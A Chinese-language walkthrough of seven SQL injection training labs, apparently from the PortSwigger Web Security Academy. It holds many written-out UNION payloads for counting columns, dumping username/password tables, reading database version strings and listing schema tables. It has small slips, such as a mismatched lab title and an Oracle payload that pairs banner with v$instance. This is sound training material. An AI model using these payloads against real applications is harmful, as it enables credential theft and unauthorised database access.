01 SQL 注入 UNION 攻击,查找包含文本的列
描述
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。
要解决该实验,请通过执行SQL 注入 UNION攻击来确定查询返回的列数,该攻击会返回包含空值的附加行。
解决方案
使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
修改
category
参数,赋予它值'+UNION+SELECT+NULL--
。观察是否发生错误。修改
category
参数以添加包含空值的附加列:'+UNION+SELECT+NULL,NULL--
继续添加空值,直到错误消失并且响应包括包含空值的附加内容。
'+ORDER+BY+3--
'+UNION+SELECT+NULL,NULL,NULL--
02 SQL 注入 UNION 攻击,查找包含文本的列
描述
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是确定与字符串数据兼容的列。
实验室将提供您需要在查询结果中显示的随机值。为了解决实验室问题,请执行SQL 注入 UNION攻击,该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。
解决方案
使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
确定查询返回的列数。使用
category
参数中的以下有效负载验证查询是否返回三列:'+UNION+SELECT+NULL,NULL,NULL--
尝试用实验室提供的随机值替换每个空值,例如:
'+UNION+SELECT+'abcdef',NULL,NULL--
如果发生错误,请移至下一个空值并改为尝试。
任务:使数据库检索字符串:'X8VH6Z'
'+UNION+SELECT+NULL,NULL,'X8VH6Z'--
03 SQL注入UNION攻击,从其他表中检索数据
描述
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,您需要结合您在之前实验室中学到的一些技术。
数据库包含一个名为 的不同表users
,其列名为username
和password
。
为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator
用户身份登录。
解决方案
Use Burp Suite to intercept and modify the request that sets the product category filter.
确定查询返回的列数以及哪些列包含文本数据。验证查询返回两列,它们都包含文字,使用像在类别参数以下的有效载荷:
'+UNION+SELECT+'abc','def'--
。使用以下有效负载检索
users
表的内容:'+UNION+SELECT+username,+password+FROM+users--
验证应用程序的响应是否包含用户名和密码。
使用'+UNION+SELECT+username,password+FROM+users--
获取用户名密码表,得到administrator/a2t6t7m3ybo5f7cz7fja
使用得到的用户名密码登录
04 SQL 注入 UNION 攻击,在单列中检索多个值
描述
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
数据库包含一个名为 的不同表users
,其列名为username
和password
。
为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator
用户身份登录。
解决方案
使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,其中只有一列包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+NULL,'abc'--
使用以下有效负载检索
users
表的内容:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
验证应用程序的响应是否包含用户名和密码。
'+order+by+2--
判断列数为2
'+union+select+null,'aaa'--
判断回显字段是第二个
'+union+select+null,username+||+'~'+||+password+FROM+users--
读取密码
登录administrator~l32y00qu4gkslzqy9d0g
05 SQL注入攻击,在Oracle上查询数据库类型和版本
描述
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。
要解决实验室问题,请显示数据库版本字符串。
解决方案
使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--
使用以下有效负载显示数据库版本:
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
'+ORDER+BY+2--
判断列数为2
union sql注入攻击中要做的第二件事是确定列的数据类型。我们使用union空查询来做到这一点,我们已经知道有两个列,我们要做的是将int值或字符串测试每一列
' UNION SELECT 'aa', NULL--
如果该列的数据类型不兼容对于使用过滤类别的列的数据类型,它应该抛出一个错误,告诉我们该列不是字符串类型。如果我们没有收到错误,这意味着该列现在是字符串类型。
在此实验环境中,我们可以看到两列都包含字母,所以他们都是字符串类型(还是要进一步测试确认)。
测试' UNION SELECT 'aa', 'aa'--
报错Internal Server Error
可以确定我们的操作是没有问题的,我们搜索一下oracle的select语句用法oracle select statement
Oracle select语句解释https://www.oracletutorial.com/oracle-basics/oracle-select/
oracle双表解释https://www.oracletutorial.com/oracle-basics/oracle-dual-table/
在 Oracle 中,SELECT
语句必须有一个FROM
子句。但是,某些查询不需要任何表
Oracle 为您提供了DUAL
的一个特殊的表,它属于SYS用户的模式,但所有用户都可以访问。
所以我们为union select后加上from DUAL子句
' UNION SELECT 'aa', 'aa' FROM DUAL--
显示成功
参阅我们的SQL 注入备忘单来找到Oracle数据库查询数据库版本的语句
SELECT banner FROM v$version SELECT version FROM v$instance
所以我们的payload是
' UNION SELECT banner, 'aa' FROM v$instance--
刷新页面会显示恭喜解决
06 SQL注入攻击,在MySQL和微软上查询数据库类型和版本
描述
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。
要解决实验室问题,请显示数据库版本字符串。
解决方案
-
Use Burp Suite to intercept and modify the request that sets the product category filter.
-
确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'#
-
使用以下有效负载显示数据库版本:
'+UNION+SELECT+@@version,+NULL#
同样的思路,先确定列数,通过网页显示内容可以猜测是2列
' ORDER BY 2--
查询报错
我们的语法没有问题,这个服务器错误可能是对我们的某个符号进行了过滤,现在我们把--注释符修改为#进行测试,成功
' ORDER BY 2#
查询成功
' UNION SELECT 'AAA', 'BBB'#
查询
现在我们需要使用SQL注入语句查询数据库版本,查阅我们的SQL 注入备忘单,找到一些有用的有效负载
SELECT @@version
' UNION SELECT @@version, 'BBB'#
成功解决
07 SQL注入攻击,列出非Oracle数据库上的数据库内容
描述
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。
要解决实验室,请以administrator
用户身份登录。
解决方案
使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'--
。使用以下有效负载检索数据库中的表列表:
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
查找包含用户凭据的表的名称。
使用以下有效负载(替换表名)来检索表中列的详细信息:
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--